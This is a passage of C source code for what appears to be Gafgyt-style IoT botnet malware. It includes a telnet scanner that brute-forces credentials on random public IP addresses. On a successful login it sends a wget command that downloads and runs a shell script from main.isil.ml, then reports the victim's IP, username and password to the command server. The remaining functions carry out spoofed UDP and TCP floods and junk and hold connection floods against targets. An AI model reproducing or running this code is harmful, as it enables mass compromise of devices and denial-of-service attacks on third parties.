case -1:
close(pdes[0]);
close(pdes[1]);
return -1;
case 0:
if (*type == 'r') {
if (pdes[1] != 1) {
dup2(pdes[1], 1);
close(pdes[1]);
}
close(pdes[0]);
} else {
if (pdes[0] != 0) {
(void) dup2(pdes[0], 0);
(void) close(pdes[0]);
}
(void) close(pdes[1]);
}
execl("/bin/sh", "sh", "-c", program, NULL);
_exit(127);
}
if (*type == 'r') {
iop = pdes[0];
(void) close(pdes[1]);
} else {
iop = pdes[1];
(void) close(pdes[0]);
}
fdopen_pids[iop] = pid;
return (iop);
}
int fdpclose(int iop)
{
register int fdes;
sigset_t omask, nmask;
int pstat;
register int pid;
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
(void) close(iop);
sigemptyset(&nmask);
sigaddset(&nmask, SIGINT);
sigaddset(&nmask, SIGQUIT);
sigaddset(&nmask, SIGHUP);
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
do {
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
} while (pid == -1 && errno == EINTR);
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
fdopen_pids[fdes] = 0;
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
}
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
{
int got = 1, total = 0;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got == 0 ? NULL : buffer;
}
static const long hextable[] = {
[0 ... 255] = -1,
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
['A'] = 10, 11, 12, 13, 14, 15,
['a'] = 10, 11, 12, 13, 14, 15
};
long parseHex(unsigned char *hex)
{
long ret = 0;
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
return ret;
}
int wildString(const unsigned char* pattern, const unsigned char* string) {
switch(*pattern)
{
case '\0': return *string;
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
case '?': return !(*string && !wildString(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
}
}
int getHost(unsigned char *toGet, struct in_addr *i)
{
struct hostent *h;
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
return 0;
}
void uppercase(unsigned char *str)
{
while(*str) { *str = toupper(*str); str++; }
}
int getBogos(unsigned char *bogomips)
{
int cmdline = open("/proc/cpuinfo", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
uppercase(linebuf);
if(strstr(linebuf, "BOGOMIPS") == linebuf)
{
unsigned char *pos = linebuf + 8;
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
strcpy(bogomips, pos);
close(cmdline);
return 0;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
return 1;
}
int getCores()
{
int totalcores = 0;
int cmdline = open("/proc/cpuinfo", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
uppercase(linebuf);
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
memset(linebuf, 0, 4096);
}
close(cmdline);
return totalcores;
}
void makeRandomStr(unsigned char *buf, int length)
{
int i = 0;
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
}
int recvLine(int socket, unsigned char *buf, int bufsize)
{
memset(buf, 0, bufsize);
fd_set myset;
struct timeval tv;
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
int selectRtn, retryCount;
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
while(retryCount < 10)
{
sockprintf(mainCommSock, "PING");
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
retryCount++;
continue;
}
break;
}
}
unsigned char tmpchr;
unsigned char *cp;
int count = 0;
cp = buf;
while(bufsize-- > 1)
{
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
*cp = 0x00;
return -1;
}
*cp++ = tmpchr;
if(tmpchr == '\n') break;
count++;
}
*cp = 0x00;
zprintf("recv: %s\n", cp);
return count;
}
int connectTimeout(int fd, char *host, int port, int timeout)
{
struct sockaddr_in dest_addr;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
long arg = fcntl(fd, F_GETFL, NULL);
arg |= O_NONBLOCK;
fcntl(fd, F_SETFL, arg);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(host, &dest_addr.sin_addr)) return 0;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (res < 0) {
if (errno == EINPROGRESS) {
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
lon = sizeof(int);
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if (valopt) return 0;
}
else return 0;
}
else return 0;
}
arg = fcntl(fd, F_GETFL, NULL);
arg &= (~O_NONBLOCK);
fcntl(fd, F_SETFL, arg);
return 1;
}
int listFork()
{
uint32_t parent, *newpids, i;
parent = fork();
if (parent <= 0) return parent;
numpids++;
newpids = (uint32_t*)malloc((numpids + 1) * 4);
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
newpids[numpids - 1] = parent;
free(pids);
pids = newpids;
return parent;
}
int negotiate(int sock, unsigned char *buf, int len)
{
unsigned char c;
switch (buf[1]) {
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
case CMD_WILL:
case CMD_WONT:
case CMD_DO:
case CMD_DONT:
c = CMD_IAC;
send(sock, &c, 1, MSG_NOSIGNAL);
if (CMD_WONT == buf[1]) c = CMD_DONT;
else if (CMD_DONT == buf[1]) c = CMD_WONT;
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
send(sock, &c, 1, MSG_NOSIGNAL);
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
break;
default:
break;
}
return 0;
}
int matchPrompt(char *bufStr)
{
char *prompts = ":>%$#\0";
int bufLen = strlen(bufStr);
int i, q = 0;
for(i = 0; i < strlen(prompts); i++)
{
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
}
return 0;
}
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
{
int bufferUsed = initialIndex, got = 0, found = 0;
fd_set myset;
struct timeval tv;
tv.tv_sec = timeout;
tv.tv_usec = timeoutusec;
unsigned char *initialRead = NULL;
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
{
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
initialRead = buffer + bufferUsed;
got = recv(fd, initialRead, 1, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(*initialRead == 0xFF)
{
got = recv(fd, initialRead + 1, 2, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(!negotiate(fd, initialRead, 3)) return 0;
} else {
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
}
}
if(found) return 1;
return 0;
}
// _____ ___ _ _ _
// \_ \/ _ \ /\ /\| |_(_) |___
// / /\/ /_)/ / / \ \ __| | / __|
// /\/ /_/ ___/ \ \_/ / |_| | \__ \
// \____/\/ \___/ \__|_|_|___/
static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
in_addr_t getRandomPublicIP()
{
if(ipState[1] > 0 && ipState[4] < 255)
{
ipState[4]++;
char ip[16] = {0};
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
return inet_addr(ip);
}
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
ipState[4] = 0;
while(
(ipState[1] == 0) ||
(ipState[1] == 10) ||
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
(ipState[1] == 127) ||
(ipState[1] == 169 && ipState[2] == 254) ||
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
(ipState[1] == 192 && ipState[2] == 168) ||
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
(ipState[1] >= 224)
)
{
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
}
char ip[16] = {0};
szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
return inet_addr(ip);
}
in_addr_t getRandomIP(in_addr_t netmask)
{
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
return tmp ^ ( rand_cmwc() & ~netmask);
}
unsigned short csum (unsigned short *buf, int count)
{
register uint64_t sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (uint16_t)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
{
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
int sclose(int fd)
{
if(3 > fd) return 1;
close(fd);
return 0;
}
// _____ _ _ __ _ _
// /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
// / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
// / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
// \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
void StartTheLelz()
{
int max = (getdtablesize() / 4) * 3, i, res;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
max = max > 512 ? 512 : max;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct telstate_t
{
int fd;
uint32_t ip;
uint8_t state;
uint8_t complete;
uint8_t usernameInd;
uint8_t passwordInd;
uint32_t totalTimeout;
uint16_t bufUsed;
char *sockbuf;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
while(1)
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
memset(fds[i].sockbuf, 0, 1024);
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
else {
fds[i].passwordInd++;
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
dest_addr.sin_addr.s_addr = fds[i].ip;
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
if(fds[i].fd == -1) { continue; }
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
}
break;
case 1:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
valopt = 0;
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
} else {
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 2;
continue;
}
} else if(res == -1)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
if(fds[i].totalTimeout + 10 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 2:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 3;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 3:
{
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 4;
}
break;
case 4:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
else fds[i].state = 100;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 5:
{
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 6;
}
break;
case 6:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
else fds[i].state = 7;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 7:
{
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 8;
}
break;
case 8:
{
if(send(fds[i].fd, "wget http://main.isil.ml/binaries.sh -O /tmp/binaries.sh; sh /tmp/binaries.sh; rm /tmp/binaries.sh\r\n", 102, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 9;
}
break;
case 9:
{
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 10;
}
break;
case 10:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "multi-call") != NULL) sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
memset(fds[i].sockbuf, 0, 1024);
sclose(fds[i].fd);
fds[i].complete = 1;
//fds[i].lastWorked = 1;
fds[i].state = 0;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 100:
{
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 101;
}
break;
case 101:
{
if(send(fds[i].fd, "wget http://main.isil.ml/binaries.sh -O /tmp/binaries.sh; sh /tmp/binaries.sh; rm /tmp/binaries.sh\r\n", 102, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 102;
}
break;
case 102:
{
if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 103;
}
break;
case 103:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
sockprintf(mainCommSock, "REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]);
sclose(fds[i].fd);
fds[i].state = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].complete = 1;
//fds[i].lastWorked = 1;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
}
}
}
}
// ___ ___ ___ _ _
// /\ /\ / \/ _ \ / __\ | ___ ___ __| |
// / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
// \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
// \___/___,'\/ \/ |_|\___/ \___/ \__,_|
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
{
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if(port == 0) dest_addr.sin_port = rand_cmwc();
else dest_addr.sin_port = htons(port);
if(getHost(target, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
register unsigned int pollRegister;
pollRegister = pollinterval;
if(spoofit == 32)
{
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(!sockfd)
{
sockprintf(mainCommSock, "Failed opening raw socket.");
return;
}
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
if(buf == NULL) return;
memset(buf, 0, packetsize + 1);
makeRandomStr(buf, packetsize);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1)
{
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if(i == pollRegister)
{
if(port == 0) dest_addr.sin_port = rand_cmwc();
if(time(NULL) > end) break;
i = 0;
continue;
}
i++;
}
} else {
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(!sockfd)
{
sockprintf(mainCommSock, "Failed opening raw socket.");
return;
}
int tmp = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
{
sockprintf(mainCommSock, "Failed setting raw headers mode.");
return;
}
int counter = 50;
while(counter--)
{
srand(time(NULL) ^ rand_cmwc());
init_rand(rand());
}
in_addr_t netmask;
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
udph->len = htons(sizeof(struct udphdr) + packetsize);
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
udph->check = 0;
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1)
{
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
iph->id = rand_cmwc();
iph->saddr = htonl( getRandomIP(netmask) );
iph->check = csum ((unsigned short *) packet, iph->tot_len);
if(i == pollRegister)
{
if(time(NULL) > end) break;
i = 0;
continue;
}
i++;
}
}
}
// _____ ___ ___ ___ _ _
// /__ \/ __\ / _ \ / __\ | ___ ___ __| |
// / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
// / / / /___/ ___/ / / | | (_) | (_) | (_| |
// \/ \____/\/ \/ |_|\___/ \___/ \__,_|
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
{
register unsigned int pollRegister;
pollRegister = pollinterval;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if(port == 0) dest_addr.sin_port = rand_cmwc();
else dest_addr.sin_port = htons(port);
if(getHost(target, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(!sockfd)
{
sockprintf(mainCommSock, "Failed opening raw socket.");
return;
}
int tmp = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
{
sockprintf(mainCommSock, "Failed setting raw headers mode.");
return;
}
in_addr_t netmask;
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
tcph->source = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->ack_seq = 0;
tcph->doff = 5;
if(!strcmp(flags, "all"))
{
tcph->syn = 1;
tcph->rst = 1;
tcph->fin = 1;
tcph->ack = 1;
tcph->psh = 1;
} else {
unsigned char *pch = strtok(flags, ",");
while(pch)
{
if(!strcmp(pch, "syn"))
{
tcph->syn = 1;
} else if(!strcmp(pch, "rst"))
{
tcph->rst = 1;
} else if(!strcmp(pch, "fin"))
{
tcph->fin = 1;
} else if(!strcmp(pch, "ack"))
{
tcph->ack = 1;
} else if(!strcmp(pch, "psh"))
{
tcph->psh = 1;
} else {
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
}
pch = strtok(NULL, ",");
}
}
tcph->window = rand_cmwc();
tcph->check = 0;
tcph->urg_ptr = 0;
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
tcph->check = tcpcsum(iph, tcph);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1)
{
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
iph->saddr = htonl( getRandomIP(netmask) );
iph->id = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->source = rand_cmwc();
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
if(i == pollRegister)
{
if(time(NULL) > end) break;
i = 0;
continue;
}
i++;
}
}
// __ __ ___ _ _
// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
void sendJUNK(unsigned char *ip, int port, int end_time)
{
int max = getdtablesize() / 2, i;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(ip, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct state_t
{
int fd;
uint8_t state;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt, res;
unsigned char *watwat = malloc(1024);
memset(watwat, 0, 1024);
int end = time(NULL) + end_time;
while(end > time(NULL))
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
else fds[i].state = 1;
}
break;
case 1:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
close(fds[i].fd);
fds[i].state = 0;
} else {
fds[i].state = 2;
}
} else if(res == -1)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
case 2:
{
//nonblocking sweg
makeRandomStr(watwat, 1024);
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
}
}
}
}
// _ _ ___ _ _
// /\ /\___ | | __| | / __\ | ___ ___ __| |
// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
void sendHOLD(unsigned char *ip, int port, int end_time)
{
int max = getdtablesize() / 2, i;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(ip, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct state_t
{
int fd;
uint8_t state;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
fd_set myset;
struct timeval tv;
